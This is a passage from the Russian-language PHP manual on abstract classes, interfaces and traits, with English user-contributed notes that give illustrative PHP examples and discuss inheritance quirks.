$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

Результат выполнения данного примера:

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

Пример #2 Пример абстрактного класса

<?php
abstract class AbstractClass
{
// Наш абстрактный метод требует только определить необходимые аргументы
abstract protected function prefixName($name);

}

class ConcreteClass extends AbstractClass
{

// Наш дочерний класс может определить необязательные аргументы, не указанные в объявлении родительского метода
public function prefixName($name, $separator = ".") {
if ($name == "Pacman") {
$prefix = "Mr";
} elseif ($name == "Pacwoman") {
$prefix = "Mrs";
} else {
$prefix = "";
}
return "{$prefix}{$separator} {$name}";
}
}

$class = new ConcreteClass;
echo $class->prefixName("Pacman"), "\n";
echo $class->prefixName("Pacwoman"), "\n";
?>

Результат выполнения данного примера:

Mr. Pacman
Mrs. Pacwoman

User Contributed Notes

shewa12kpi at gmail dot com 18-May-2021 11:37
<?php
//Here is a good example of abstract class. Here BaseEmployee is not actual employee its just asbtract class that reduce our code and enforce child class to implement abstract method

abstract class BaseEmployee {

    /**
     * employee common attributes could in asbtract class
    */
    public     $firstname,
            $lastname;

    function __construct($fn, $ln){
        $this->firstname = $fn;
        $this->lastname = $ln;
    }

    public function getFullName() {

        return "$this->firstname $this->lastname";
    }

    /**
    * asbtract method that a child class must have to define
    */
    abstract protected static function task();
}

class WebDeveloper extends BaseEmployee {

    static function task()
    {
        return ' Develop web application';
    }
}

class HR extends BaseEmployee {

    static function task()
    {
        return ' Manage human resources';
    }

}
/**
 * now instantiate and get data
*/
$webDeveloper = new WebDeveloper('shaikh','ahmed');
echo $webDeveloper->getFullName();
echo $webDeveloper->task();
shaman_master at list dot ru 03-Oct-2018 11:52
Also you may set return/arguments type declaring for abstract methods (PHP>=7.0)
<?php
declare(strict_types=1);

abstract class Adapter
{
    protected $name;
    abstract public function getName(): string;
    abstract public function setName(string $value);
}

class AdapterFoo extends Adapter
{
    public function getName(): string
    {
        return $this->name;
    }
    // return type declaring not defined in abstract class, set here
    public function setName(string $value): self
    {
        $this->name = $value;
        return $this;
    }
}
?>
swashata4u at gmail dot com 18-Apr-2018 09:06
Here is another thing about abstract class and interface.

Sometimes, we define an interface for a `Factory` and ease out some common methods of the `Factory` through an `abstract` class.

In this case, the abstract class implements the interface, but does not need to implement all methods of the interface.

The simple reason is, any class implementing an interface, needs to either implement all methods, or declare itself abstract.

Because of this, the following code is perfectly ok.

<?php
interface Element {
    /**
     * Constructor function. Must pass existing config, or leave as
     * is for new element, where the default will be used instead.
     *
     * @param array $config Element configuration.
     */
    public function __construct( $config = [] );

    /**
     * Get the definition of the Element.
     *
     * @return array An array with 'title', 'description' and 'type'
     */
    public static function get_definition();

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config();

    /**
     * Set Element config variable.
     *
     * @param array $config New configuration variable.
     *
     * @return void
     */
    public function set_config( $config );
}

abstract class Base implements Element {

    /**
     * Element configuration variable
     *
     * @var array
     */
    protected $config = [];

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config() {
        return $this->config;
    }

    /**
     * Create an eForm Element instance
     *
     * @param array $config Element config.
     */
    public function __construct( $config = [] ) {
        $this->set_config( $config );
    }
}

class MyElement extends Base {

    public static function get_definition() {
        return [
            'type' => 'MyElement',
        ];
    }

    public function set_config( $config ) {
        // Do something here
        $this->config = $config;
    }
}

$element = new MyElement( [
    'foo' => 'bar',
] );

print_r( $element->get_config() );
?>

You can see the tests being executed here and PHP 5.4 upward, the output is consistent. https://3v4l.org/8NqqW
jai at shaped dot ca 02-Mar-2017 05:36
This example will hopefully help you see how abstract works, how interfaces work, and how they can work together. This example will also work/compile on PHP7, the others were typed live in the form and may work but the last one was made/tested for real:

<?php

const ¶ = PHP_EOL;

// Define things a product *has* to be able to do (has to implement)
interface productInterface {
    public function doSell();
    public function doBuy();
}

// Define our default abstraction
abstract class defaultProductAbstraction implements productInterface {
    private $_bought = false;
    private $_sold = false;
    abstract public function doMore();
    public function doSell() {
        /* the default implementation */
        $this->_sold = true;
        echo "defaultProductAbstraction doSell: {$this->_sold}".¶;
    }
    public function doBuy() {
        $this->_bought = true;
        echo "defaultProductAbstraction doBuy: {$this->_bought}".¶;
    }
}

class defaultProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "defaultProductImplementation doMore()".¶;
    }
}

class myProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "myProductImplementation doMore() does more!".¶;
    }
    public function doBuy() {
        echo "myProductImplementation's doBuy() and also my parent's dubai()".¶;
        parent::doBuy();
    }
}

class myProduct extends defaultProductImplementation {
    private $_bought=true;
    public function __construct() {
        var_dump($this->_bought);
    }
    public function doBuy () {
        /* non-default doBuy implementation */
        $this->_bought = true;
        echo "myProduct overrides the defaultProductImplementation's doBuy() here {$this->_bought}".¶;
    }
}

class myOtherProduct extends myProductImplementation {
    public function doBuy() {
        echo "myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too".¶;
        parent::doBuy();
    }
}

echo "new myProduct()".¶;
$product = new myProduct();

$product->doBuy();
$product->doSell();
$product->doMore();

echo ¶."new defaultProductImplementation()".¶;

$newProduct = new defaultProductImplementation();
$newProduct->doBuy();
$newProduct->doSell();
$newProduct->doMore();

echo ¶."new myProductImplementation".¶;
$lastProduct = new myProductImplementation();
$lastProduct->doBuy();
$lastProduct->doSell();
$lastProduct->doMore();

echo ¶."new myOtherProduct".¶;
$anotherNewProduct = new myOtherProduct();
$anotherNewProduct->doBuy();
$anotherNewProduct->doSell();
$anotherNewProduct->doMore();
?>

Will result in:
<?php
/*
new myProduct()
bool(true)
myProduct overrides the defaultProductImplementation's doBuy() here 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new defaultProductImplementation()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new myProductImplementation
myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

new myOtherProduct
myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too
myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

*/
?>
jai at shaped dot ca 02-Mar-2017 05:36
An interface specifies what methods a class must implement, so that anything using that class that expects it to adhere to that interface will work.

eg: I expect any $database to have ->doQuery(), so any class I assign to the database interface should implement the databaseInterface interface which forces implementation of a doQuery method.

<?php
interface dbInterface {
    public function doQuery();
}

class myDB implements dbInterface {
    public function doQuery() {
      /* implementation details here */
    }
}

$myDBObj = new myDB()->doQuery();
?>

An abstract class is similar except that some methods can be predefined. Ones listed as abstract will have to be defined as if the abstract class were an interface.

eg. I expect my $person to be able to ->doWalk(), most people walk fine with two feet, but some people have to hop along :(

<?php
interface PersonInterface() {
    /* every person should walk, or attempt to */
    public function doWalk($place);
    /* every person should be able to age */
    public function doAge();
}

abstract class AveragePerson implements PersonInterface() {
    private $_age = 0;
    public function doAge() {
        $this->_age = $this->_age+1;
    }
    public function doWalk($place) {
        echo "I am going to walk to $place".PHP_EOL;
    }
    /* every person talks differently! */
    abstract function talk($say);
}

class Joe extends AveragePerson {
    public function talk($say) {
       echo "In an Austrailian accent, Joe says: $say".PHP_EOL;
    }
}

class Bob extends AveragePerson {
    public function talk($say) {
        echo "In a Canadian accent, Bob says: $say".PHP_EOL;
    }
    public function doWalk($place) {
        echo "Bob only has one leg and has to hop to $place".PHP_EOL;
    }
}

$people[] = new Bob();
$people[] = new Joe();

foreach ($people as $person) {
    $person->doWalk('over there');
    $person->talk('PHP rules');
}
?>
Eugeny at Kostanay dot KZ 12-Oct-2016 01:46
A snippet of code to help you understand a bit more about properties inside abstract classes:
<?php
abstract class anotherAbsClass
{
    // Define and set a static property
    static $stProp = 'qwerty';        // We can still use it directly by the static way
    // Define and set a protected property
    protected $prProp = 'walrus';
    // It is useless to set any other level of visibility for non-static variables of an abstract class.
    // We cannot access to a private property even inside a declared method of an abstract class because we cannot call that method in the object context.
    // Implementation of a common method
    protected function callMe() {
        echo 'On call: ' . $this->prProp . PHP_EOL;
    }
    // Declaration of some abstract methods
    abstract protected function abc($arg1, $arg2);
    abstract public function getJunk($arg1, $arg2, $arg3, $junkCollector = true);
    // Note: we cannot omit an optional value without getting error if it has already been declared by an abstract class
}

class someChildClass extends anotherAbsClass
{
    function __construct() {
        echo $this->callMe() . PHP_EOL;    // now we get the protected property $prProp inhereted from within the abstract class
    }
    // There must be implementation of the declared functions abc and getJunk below
    protected function abc($val1, $val) {
        // do something
    }
    function getJunk($val1, $val2, $val3, $b = false) {    // optional value is neccessary, because it has been declared above
        // do something
    }
}

echo anotherAbsClass::$stProp;    // qwerty
$objTest = new someChildClass;   // On call: walrus
?>
Malcolm 29-May-2016 01:26
I've found an inconsistency with: Example #2 Abstract class example

If you remove the default value of $separator

<?php
    public function prefixName($name, $separator) {
        // ...
    }
?>

Then php will show this fatal message:
Fatal error: Declaration of ConcreteClass::prefixName() must be compatible with AbstractClass::prefixName($name) in /index.php on line 23

Stange enough it gives an incorrect declaration of "ConcreteClass::prefixName()"... It is missing both arguments. Because of that I'm assuming that this is just a bug that maybe already has been taking care of in newer versions. (Or is just specific to my version) I'm mainly noting this because it was driving me absolutely insane in some test code that I was writing derived from Example #2 (without a default value for an extra argument). Perhaps this saves some frustrations to other people.

--
Please note that i'm running this on php5.5.
OS: ubuntu-16.04-server-amd64.iso
Repo: ppa:ondrej/php

# php5.5 --version
PHP 5.5.36-2+donate.sury.org~xenial+1 (cli)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
balbuf 24-Jan-2016 07:03
The abstract keyword cannot be used to dictate properties or class constants that a derivative class must set/define. Instead, those required properties or constants can be included in the abstract class with the expectation that they will be overridden in derivative classes, which at least ensures that the desired property/constant is set/defined.
rmoisto at gmail dot com 26-Sep-2015 03:26
The self keyword in an abstract class will refer to the abstract class itself, not the extending class no matter what.

For instance the following code looks really pretty, yet results in a Fatal error (Cannot instantiate abstract class Basic).

<?php
abstract class Basic {
    public static function doWork() {
        return (new self())->work();
    }

    abstract protected function work();
}

class Keeks extends Basic {
    protected function work() {
        return 'Keeks';
    }
}

echo Keeks::doWork();
?>
arma99eDAN at yahoo dot com 08-Apr-2015 08:10
You can use an abstract class like this too:

abstract class A{
    public function show(){
        echo 'A';
    }
}
class B extends A{
    public function hello(){
        echo 'B';
        parent::show();
    }
}

$obj = new B;
$obj->hello(); // BA
# See that the abstract class does not have at least one abstract method
# Even in this case, I'm still able to extend it, or call its non-abstract member
aloydev2586 at gmail dot com 25-Sep-2014 09:33
Just in case you are confused about function arguments:

/*************Example 1********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string = ' is an integer!!!')
     {
          echo $new_number . $string;
     }
}
$var = new subclass();
$var->my_function(1024); //this will output: 1024 is an integer!!!

/*************Example 2********************/
abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
    //now $string = ' is a float!!!'
     public function my_function($new_number, $string = ' is a float!!!')
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//added ' is an integer'
$var->my_function(1024, ' is an integer!!!'); //this will output: 1024 is an integer!!!, rewrote $string.

/*************Example 3********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     //now $string isn't initialized
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}

$var = new subclass();
$var->my_function(1024, ' is an integer!!!'); /*this will trigger a fatal error of incompatibility between subclass::my_function() and my_class::my_function($number)*/

/*************Example 4********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//no second argument, no matter
$var->my_function(1024);//fatal error  too. Optional arguments have to be initialized in the extending class function.
sam at righthandedmonkey dot com 11-Sep-2014 03:43
Please note order or positioning of the classes in your code can affect the interpreter and can cause a Fatal error: Class 'YourClass' not found if there are multiple levels of abstraction out of order.  For example:
<?php
abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this outputs:
Wood

However, if you put the cart before the abstract horse (literally):

<?php
class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this throws an error:
Fatal error: Class 'horse' not found

So, when using multiple levels of abstraction, be careful of the positioning of the classes within the source code - and don't put the cart before the abstract horse.
nikola at petkanski dot com 10-Feb-2014 06:33
Invoking static method of abstract class should be removed.

What interfaces are?
- A mean to ensure all implementation have the same methods implemented.

What is an abstract class?
- It is a interface that can also include some concrete methods.

Is it right for the developer to be able to invoke a static method of an interface?
- I think not.

The GoF teach us to rely on abstract classes and interfaces to hide differences between subclasses from clients.
- Interface defines an object's use (protocol)
- Implementation defines particular policy

I don't think one should be able to call some abstract logic that is defined inside an abstract class, without even inheriting the class itself.
oliver at ananit dot de 27-Nov-2011 08:07
Abstract classes may have an final constructor, and sometime it makes sense to implement a class with a final constructor.

<?php
abstract class AbstractModel
{
    //our models must use the default constuctor
        public final function __construct(){}
    public function inject($array){
        foreach(array_keys(get_class_vars(get_called_class()))  as $property){
            $this->$property = $array[$property];
        }
    }
}

class ProductModel extends AbstractModel
{
    public $name;
    public $price;
    protected $id;

    public function getId(){return $this->id;}
}

class Factory{
    private $dataSource;
    public function __consruct($dataSource){
        $this->dataSource = $dataSource;
    }

    public function get($class, $table, $filter, $orderby, $limit){
        $result = array();
        foreach($datasource->fetchAssoc($table, $filter, $orderby, $limit) as $rawData){
            $obj = new $class();//this can only work if ALL models have a default constructor
            $obj->inject($rawData);
            $result[] = $obj;
        }
        return $result;
    }
}
?>

Note: This is a very simple example, and I am aware that there are other (better) ways to do this.
Oliver Anan
joelhy 31-May-2011 07:27
The documentation says: "It is not allowed to create an instance of a class that has been defined as abstract.". It only means you cannot initialize an object from an abstract class. Invoking static method of abstract class is still feasible. For example:
<?php
abstract class Foo
{
    static function bar()
    {
        echo "test\n";
    }
}

Foo::bar();
?>
a dot tsiaparas at watergate dot gr 26-Mar-2011 03:57
Abstraction and interfaces are two very different tools. The are as close as hammers and drills. Abstract classes may have implemented methods, whereas interfaces have no implementation in themselves.

Abstract classes that declare all their methods as abstract are not interfaces with different names. One can implement multiple interfaces, but not extend multiple classes (or abstract classes).

The use of abstraction vs interfaces is problem specific and the choice is made during the design of software, not its implementation. In the same project you may as well offer an interface and a base (probably abstract) class as a reference that implements the interface. Why would you do that?

Let us assume that we want to build a system that calls different services, which in turn have actions. Normally, we could offer a method called execute that accepts the name of the action as a parameter and executes the action.

We want to make sure that classes can actually define their own ways of executing actions. So we create an interface IService that has the execute method. Well, in most of your cases, you will be copying and pasting the exact same code for execute.

We can create a reference implemention for a class named Service and implement the execute method. So, no more copying and pasting for your other classes! But what if you want to extend MySLLi?? You can implement the interface (copy-paste probably), and there you are, again with a service. Abstraction can be included in the class for initialisation code, which cannot be predefined for every class that you will write.

Hope this is not too mind-boggling and helps someone. Cheers,
Alexios Tsiaparas
designbyjeeba at gmail dot com 26-Dec-2010 06:29
Please be aware of the visibility of the parent fields. If the fields are private, then you are not going to see those fields in their childrens. Its basic OOP, but can be problematic sometimes.
bishop 28-Jul-2010 10:36
Incidentally, abstract classes do not need to be base classes:

<?php
class Foo {
    public function sneeze() { echo 'achoooo'; }
}

abstract class Bar extends Foo {
    public abstract function hiccup();
}

class Baz extends Bar {
    public function hiccup() { echo 'hiccup!'; }
}

$baz = new Baz();
$baz->sneeze();
$baz->hiccup();
?>
mbajoras at gmail dot com 31-Dec-2009 11:59
Here's an example that helped me with understanding abstract classes. It's just a very simple way of explaining it (in my opinion). Lets say we have the following code:

<?php
class Fruit {
    private $color;

    public function eat() {
        //chew
    }

    public function setColor($c) {
        $this->color = $c;
    }
}

class Apple extends Fruit {
    public function eat() {
        //chew until core
    }
}

class Orange extends Fruit {
    public function eat() {
        //peel
        //chew
    }
}
?>

Now I give you an apple and you eat it.

<?php
$apple = new Apple();
$apple->eat();
?>

What does it taste like? It tastes like an apple. Now I give you a fruit.

<?php
$fruit = new Fruit();
$fruit->eat();
?>

What does that taste like??? Well, it doesn't make much sense, so you shouldn't be able to do that. This is accomplished by making the Fruit class abstract as well as the eat method inside of it.

<?php
abstract class Fruit {
    private $color;

    abstract public function eat();

    public function setColor($c) {
        $this->color = $c;
    }
}
?>

Now just think about a Database class where MySQL and PostgreSQL extend it. Also, a note. An abstract class is just like an interface, but you can define methods in an abstract class whereas in an interface they are all abstract.
nathan dot vorbei dot tech at gmail dot com 16-Nov-2009 10:55
"additionally, these methods must be defined with the same (or a less restricted) visibility."

The words were not restricted in abstract class but also normal classes,
the method in child Class which overwrites the parent Class can also change the the visibility of the method to same or less restricted.
for example:
<?php
class ClassOne {
    protected static $staticone = 'nathan';
    protected function changestaticone() {
        return self::$staticone = 'john';
    }
}

class ClassTwo extends ClassOne {
    public function changestaticone() {
        return self::$staticone = 'Alexey';
    }
}
$classtwo = new ClassTwo();
echo $classtwo->changestaticone();
pete at surfaceeffect dot com 13-Oct-2009 02:49
One fairly important difference between php's abstract functions and, say, Java, is that php does not specify the return type in any way - or indeed whether there has to be one.

<?php public abstract function square($number); ?>

could be implemented by...

<?php
public function square($number) {
   return $number*$number;
}
?>

or

<?php
public function square($number) {
   print ($number*$number);
}
?>

So you need to take care that incompatibilities don't arise due to not returning the right kind of value and this is not enforced in any way.
Cheese Doodle 22-Sep-2009 04:13
There isn't really that much of a great hurdle in understanding these things, there really isn't.

If you're defining a new class that is abstract, it means that you can make some non-abstract functions that you can use to define the general underlying behavior of that class along side abstract ones.

In interfaces, you can't do that since functions defined therewithin cannot have a body.

Abstract functions you use for classes that must define more specific behavior when "extending" your class.

So for a crude example - define by your non-abstract functions how that particular object (which may be part of a larger class hierarchy) would store and process it's data in SQL, XML, etc.

Then define abstract functions which allow someone implementing that class to specifically manipulate the data that is to be stored. Then require a format which this data must be returned in, and then in your non-abstract functions call those functions on destruction, in normal runtime, and so on.

Again, non-abstract functions, or even another class could implement the finer points of ensuring that data is in the correct format, and so on, ad infinitum.

It isn't too much of a reach to say that if you used a normal class instead of an abstract class, then there isn't much intrinsic requirement between the two classes.

Assuming that you wanted the functions to use each-others functions and you'd need to use them specifically by name, you'd have to write some code which checked to see -- lamely using function_exists() and other lamery -- if that class has the function you require for interoperability, when you could avoid all possible confusion and headaches by simply using the right tool for the job.

And reading a decent OOP book.
eeescalona 02-Jun-2008 09:04
here is a real world example of abstract using:

a (abstract) person class
a student and an employee final class, which extends person class.

simple theory is that both student and employee is an extension of the person class.  the difference lies on which table the data is written on, and what other pre processing (ie mandatory field checking, type checking, etc.) needed before writing each of the classes.

codes:

<?php

abstract class person {

    abstract protected function write_info();

    public $LastName;
    public $FirstName;
    public $BirthDate;

    public function get_Age($today=NULL){
        //age computation function
    }
}

final class employee extends person{
    public $EmployeeNumber;
    public $DateHired;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to emloyee dbase table";
        //ADD unique mandatory checking unique to EMPLOYEE ONLY
        //actual sql codes here
    }
}

final class student extends person{
    public $StudentNumber;
    public $CourseName;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to student dbase table";
        //ADD unique mandatory checking unique to STUDENT ONLY
        //actual sql codes here
    }
}

///----------
$personA = new employee;
$personB = new student;

$personA->FirstName="Joe";
$personA->LastName="Sbody";

$personB->FirstName="Ben";
$personB->LastName="Dover";

$personA->write_info();
?>

OUTPUT:Writing Sbody's info to emloyee dbase table
ironiridis at gmail dot com 27-Mar-2008 01:56
Just one more time, in the simplest terms possible:

An Interface is like a protocol. It doesn't designate the behavior of the object; it designates how your code tells that object to act. An interface would be like the English Language: defining an interface defines how your code communicates with any object implementing that interface.

An interface is always an agreement or a promise. When a class says "I implement interface Y", it is saying "I promise to have the same public methods that any object with interface Y has".

On the other hand, an Abstract Class is like a partially built class. It is much like a document with blanks to fill in. It might be using English, but that isn't as important as the fact that some of the document is already written.

An abstract class is the foundation for another object. When a class says "I extend abstract class Y", it is saying "I use some methods or properties already defined in this other class named Y".

So, consider the following PHP:
<?php
class X implements Y { } // this is saying that "X" agrees to speak language "Y" with your code.

class X extends Y { } // this is saying that "X" is going to complete the partial class "Y".
?>

You would have your class implement a particular interface if you were distributing a class to be used by other people. The interface is an agreement to have a specific set of public methods for your class.

You would have your class extend an abstract class if you (or someone else) wrote a class that already had some methods written that you want to use in your new class.

These concepts, while easy to confuse, are specifically different and distinct. For all intents and purposes, if you're the only user of any of your classes, you don't need to implement interfaces.
sneakyimp at hotmail dot com 09-Oct-2007 05:05
Ok...the docs are a bit vague when it comes to an abstract class extending another abstract class.  An abstract class that extends another abstract class doesn't need to define the abstract methods from the parent class.  In other words, this causes an error:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
  abstract public function someFunc();
}
?>

Error: Fatal error: Can't inherit abstract function class1::someFunc() (previously declared abstract in class2) in /home/sneakyimp/public/chump.php on line 7

However this does not:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
}
?>

An abstract class that extends an abstract class can pass the buck to its child classes when it comes to implementing the abstract methods of its parent abstract class.
joebert 24-Jun-2007 04:09
I don't agree with jfkallens' last comparison between Abstract Classes & Object Interfaces completely.

In an Abstract Class, you can define how some methods work, where as in an Object Interface you can not.

An Object Interface is essentually nothing but a list of function names that a class must define if the class implements that interface.

An Abstract Class is essentually a prototype which hints towards what extending classes should be doing.
An Abstract Class can also be thought of as a Base Class that provides some basic functionality, & also defines a built-in Object Interface that all extending classes will implement.

So, an Object Interface is really a built-in part of an Abstract Class.


Интерфейсы объектов

Интерфейсы объектов позволяют создавать код, который указывает, какие методы должен реализовать класс, без необходимости определять, как именно они должны быть реализованы. Интерфейсы разделяют пространство имён с классами и трейтами, поэтому они не могут называться одинаково.

Интерфейсы объявляются так же, как и обычные классы, но с использованием ключевого слова interface вместо class. Тела методов интерфейсов должны быть пустыми.

Все методы, определённые в интерфейсах, должны быть общедоступными, что следует из самой природы интерфейса.

На практике интерфейсы используются в двух взаимодополняющих случаях:

  • Чтобы позволить разработчикам создавать объекты разных классов, которые могут использоваться взаимозаменяемо, поскольку они реализуют один и тот же интерфейс или интерфейсы. Типичный пример - несколько служб доступа к базе данных, несколько платёжных шлюзов или разных стратегий кеширования. Различные реализации могут быть заменены без каких-либо изменений в коде, который их использует.
  • Чтобы разрешить функции или методу принимать и оперировать параметром, который соответствует интерфейсу, не заботясь о том, что ещё может делать объект или как он реализован. Эти интерфейсы часто называют Iterable, Cacheable, Renderable и так далее, чтобы описать их поведение.

Интерфейсы могут определять магические методы, требуя от реализующих классов реализации этих методов.

Замечание:

Хотя они поддерживаются, использование конструкторов в интерфейсах настоятельно не рекомендуется. Это значительно снижает гибкость объекта, реализующего интерфейс. Кроме того, к конструкторам не применяются правила наследования, что может привести к противоречивому и неожиданному поведению.

implements

Для реализации интерфейса используется оператор implements. Класс должен реализовать все методы, описанные в интерфейсе, иначе произойдёт фатальная ошибка. При желании классы могут реализовывать более одного интерфейса, разделяя каждый интерфейс запятой.

Внимание

Класс, реализующий интерфейс, может использовать для своих параметров имя, отличное от имени интерфейса. Однако, начиная с PHP 8.0, в языке поддерживаются именованные аргументы, и вызывающий код может полагаться на имя параметра в интерфейсе. По этой причине настоятельно рекомендуется, чтобы разработчики использовали те же имена параметров, что и реализуемый интерфейс.

Замечание:

Интерфейсы могут быть унаследованы друг от друга, так же, как и классы, с помощью оператора extends.

Замечание:

Класс, реализующий интерфейс, должен объявить все методы в интерфейсе с совместимой сигнатурой. Класс может реализовывать несколько интерфейсов, которые объявляют метод с одинаковым именем. В этом случае реализация должна следовать правилам совместимости сигнатуры для всех интерфейсов. Таким образом, можно применять ковариантность и контравариантность.

Константы

Интерфейсы могут содержать константы. Константы интерфейсов работают точно так же, как и константы классов. До PHP 8.1.0 они не могли быть переопределены классом или интерфейсом, который их наследует.

Примеры

Пример #1 Пример интерфейса

<?php

// Объявим интерфейс 'Template'
interface Template
{
public function setVariable($name, $var);
public function getHtml($template);
}

// Реализация интерфейса
// Это будет работать
class WorkingTemplate implements Template
{
private $vars = [];

public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}

public function getHtml($template)
{
foreach($this->vars as $name => $value) {
$template = str_replace('{' . $name . '}', $value, $template);
}

return $template;
}
}

// Это не будет работать
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (Template::getHtml)
// (Фатальная ошибка: Класс BadTemplate содержит 1 абстрактный метод
// и поэтому должен быть объявлен абстрактным (Template::getHtml))
class BadTemplate implements Template
{
private $vars = [];

public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}
}
?>

Пример #2 Наследование интерфейсов

<?php
interface A
{
public function foo();
}

interface B extends A
{
public function baz(Baz $baz);
}

// Это сработает
class C implements B
{
public function foo()
{
}

public function baz(Baz $baz)
{
}
}

// Это не сработает и выдаст фатальную ошибку
class D implements B
{
public function foo()
{
}

public function baz(Foo $foo)
{
}
}
?>

Пример #3 Совместимость с несколькими интерфейсами

<?php
class Foo {}
class Bar extends Foo {}

interface A {
public function myfunc(Foo $arg): Foo;
}

interface B {
public function myfunc(Bar $arg): Bar;
}

class MyClass implements A, B
{
public function myfunc(Foo $arg): Bar
{
return new Bar();
}
}
?>

Пример #4 Множественное наследование интерфейсов

<?php
interface A
{
public function foo();
}

interface B
{
public function bar();
}

interface C extends A, B
{
public function baz();
}

class D implements C
{
public function foo()
{
}

public function bar()
{
}

public function baz()
{
}
}
?>

Пример #5 Интерфейсы с константами

<?php
interface A
{
const B = 'Константа интерфейса';
}

// Выведет: Константа интерфейса
echo A::B;

class B implements A
{
const B = 'Константа класса';
}

// Выведет: Константа класса
// До PHP 8.1.0 этот код не будет работать,
// потому что было нельзя переопределять константы.
echo B::B;
?>

Пример #6 Интерфейсы с абстрактными классами

<?php
interface A
{
public function foo(string $s): string;

public function bar(int $i): int;
}

// Абстрактный класс может реализовывать только часть интерфейса.
// Классы, расширяющие абстрактный класс, должны реализовать все остальные.
abstract class B implements A
{
public function foo(string $s): string
{
return $s . PHP_EOL;
}
}

class C extends B
{
public function bar(int $i): int
{
return $i * 2;
}
}
?>

Пример #7 Одновременное расширение и внедрение

<?php

class One
{
/* ... */
}

interface Usable
{
/* ... */
}

interface Updatable
{
/* ... */
}

// Порядок ключевых слов здесь важен. "extends" должно быть первым.
class Two extends One implements Usable, Updatable
{
/* ... */
}
?>

Интерфейс, совместно с объявлениями типов, предоставляет отличный способ проверки того, что определённый объект содержит определённый набор методов. Смотрите также оператор instanceof и объявление типов.

User Contributed Notes

vcnbianchi 30-Dec-2021 09:07
Just as all interface methods are public, all interface methods are abstract as well.
xedin dot unknown at gmail dot com 09-Mar-2021 09:44
This page says that if extending multiple interfaces with the same methods, the signature must be compatible. But this is not all there is to it: the order of `extends` matters. This is a known issue, and while it is disputable whether or not it is a bug, one should be aware of it, and code interfaces with this in mind.

https://bugs.php.net/bug.php?id=67270
https://bugs.php.net/bug.php?id=76361
https://bugs.php.net/bug.php?id=80785
williebegoode at att dot net 10-Aug-2014 10:42
In their book on Design Patterns, Erich Gamma and his associates (AKA: "The Gang of Four") use the term "interface" and "abstract class" interchangeably. In working with PHP and design patterns, the interface, while clearly a "contract" of what to include in an implementation is also a helpful guide for both re-use and making changes. As long as the implemented changes follow the interface (whether it is an interface or abstract class with abstract methods), large complex programs can be safely updated without having to re-code an entire program or module.

In PHP coding with object interfaces (as a keyword) and "interfaces" in the more general context of use that includes both object interfaces and abstract classes, the purpose of "loose binding" (loosely bound objects) for ease of change and re-use is a helpful way to think about both uses of the  term "interface." The focus shifts from "contractual" to "loose binding" for the purpose of cooperative development and re-use.
thanhn2001 at gmail dot com 03-Mar-2011 01:37
PHP prevents interface a contant to be overridden by a class/interface that DIRECTLY inherits it.  However, further inheritance allows it.  That means that interface constants are not final as mentioned in a previous comment.  Is this a bug or a feature?

<?php

interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

class b implements a
{
}

// This works!!!
class c extends b
{
    const b = 'Class constant';
}

echo c::b;
?>


Трейты

PHP реализует метод для повторного использования кода под названием трейт (trait).

Трейт - это механизм обеспечения повторного использования кода в языках с поддержкой только одиночного наследования, таких как PHP. Трейт предназначен для уменьшения некоторых ограничений одиночного наследования, позволяя разработчику повторно использовать наборы методов свободно, в нескольких независимых классах и реализованных с использованием разных архитектур построения классов. Семантика комбинации трейтов и классов определена таким образом, чтобы снизить уровень сложности, а также избежать типичных проблем, связанных с множественным наследованием и смешиванием (mixins).

Трейт очень похож на класс, но предназначен для группирования функционала хорошо структурированным и последовательным образом. Невозможно создать самостоятельный экземпляр трейта. Это дополнение к обычному наследованию и позволяет сделать горизонтальную композицию поведения, то есть применение членов класса без необходимости наследования.

Пример #1 Пример использования трейта

<?php
trait ezcReflectionReturnInfo {
function getReturnType() { /*1*/ }
function getReturnDescription() { /*2*/ }
}

class ezcReflectionMethod extends ReflectionMethod {
use ezcReflectionReturnInfo;
/* ... */
}

class ezcReflectionFunction extends ReflectionFunction {
use ezcReflectionReturnInfo;
/* ... */
